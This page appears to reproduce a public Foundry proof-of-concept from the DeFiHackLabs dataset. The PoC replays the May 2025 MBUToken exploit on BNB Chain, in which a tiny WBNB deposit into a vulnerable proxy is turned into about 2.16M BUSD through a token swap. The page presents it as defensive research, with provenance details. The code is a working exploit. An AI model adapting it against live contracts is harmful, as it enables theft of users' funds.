Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/MBUToken_exp.sol

Public reproduction file for dataset entry MBUToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/MBUToken_exp.sol73 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~2.16 M BUSD
8// Original Attacker : https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600
9// Attack Contract : https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641
10// Vulnerable Contract 0 : https://bscscan.com/address/0x95e92b09b89cf31fa9f1eca4109a85f88eb08531
11// Vulnerable Contract 1 : https://bscscan.com/address/0x0dfb6ac3a8ea88d058be219066931db2bee9a581
12// Attack Tx : https://bscscan.com/tx/0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150
13// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
15// Contracts involved
16address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
17address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
18address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
19address constant BlockRazor = 0x1266C6bE60392A8Ff346E8d5ECCd3E69dD9c5F20;
21address constant MBU = 0x0dFb6Ac3A8Ea88d058bE219066931dB2BeE9A581;
22address constant _0x95e9_ERC1967Proxy = 0x95e92B09b89cF31Fa9F1Eca4109A85F88EB08531;
24contract MBUToken_exp is Test {
25 address attacker = makeAddr("attacker");
27 function setUp() public {
28 vm.createSelectFork("bsc", 49470430 - 1);
29 vm.deal(attacker, 1 ether);
30 }
32 function testPoC() public {
33 vm.startPrank(attacker);
35 AttackerC attC = new AttackerC();
37 attC.attack{value: 1 ether}();
39 emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
40 }
43contract AttackerC {
44 function attack() external payable {
45 WETH9(payable(wbnb)).deposit{value: 0.001 ether}();
47 IERC20(wbnb).approve(_0x95e9_ERC1967Proxy, 0.001 ether);
49 I_0x95e9_ERC1967Proxy(_0x95e9_ERC1967Proxy).deposit(wbnb, 0.001 ether);
51 IERC20(MBU).approve(router, type(uint256).max);
53 address[] memory path = new address[](2);
54 path[0] = MBU;
55 path[1] = BUSD;
56 IPancakeRouter(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
57 30_000_000 ether,
58 0,
59 path,
60 address(this),
61 block.timestamp
62 );
64 IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));
66 // Pay MEV Protected Transaction
67 BlockRazor.call{value: 0.999 ether}("");
68 }
71interface I_0x95e9_ERC1967Proxy {
72 function deposit(address, uint256) external returns(uint256);

Analysis

Dataset entry

Public Foundry test for “MBUToken” (2025-05-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0x631adff068d484ce531fb519cda4042805521641

  • Vulnerable Contract

    0x95e92b09b89cf31fa9f1eca4109a85f88eb08531

  • Vulnerable Contract

    0x0dfb6ac3a8ea88d058be219066931db2bee9a581

  • Attack Tx

    0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150

File record

Name
MBUToken
Path
src/test/2025-05/MBUToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c5c100dd9db64517a508b2a14227f45d5e33ca0d
Language
Solidity
Size
73 lines
Date
2025-05-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/MBUToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c5c100dd9db64517a508b2a14227f45d5e33ca0d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.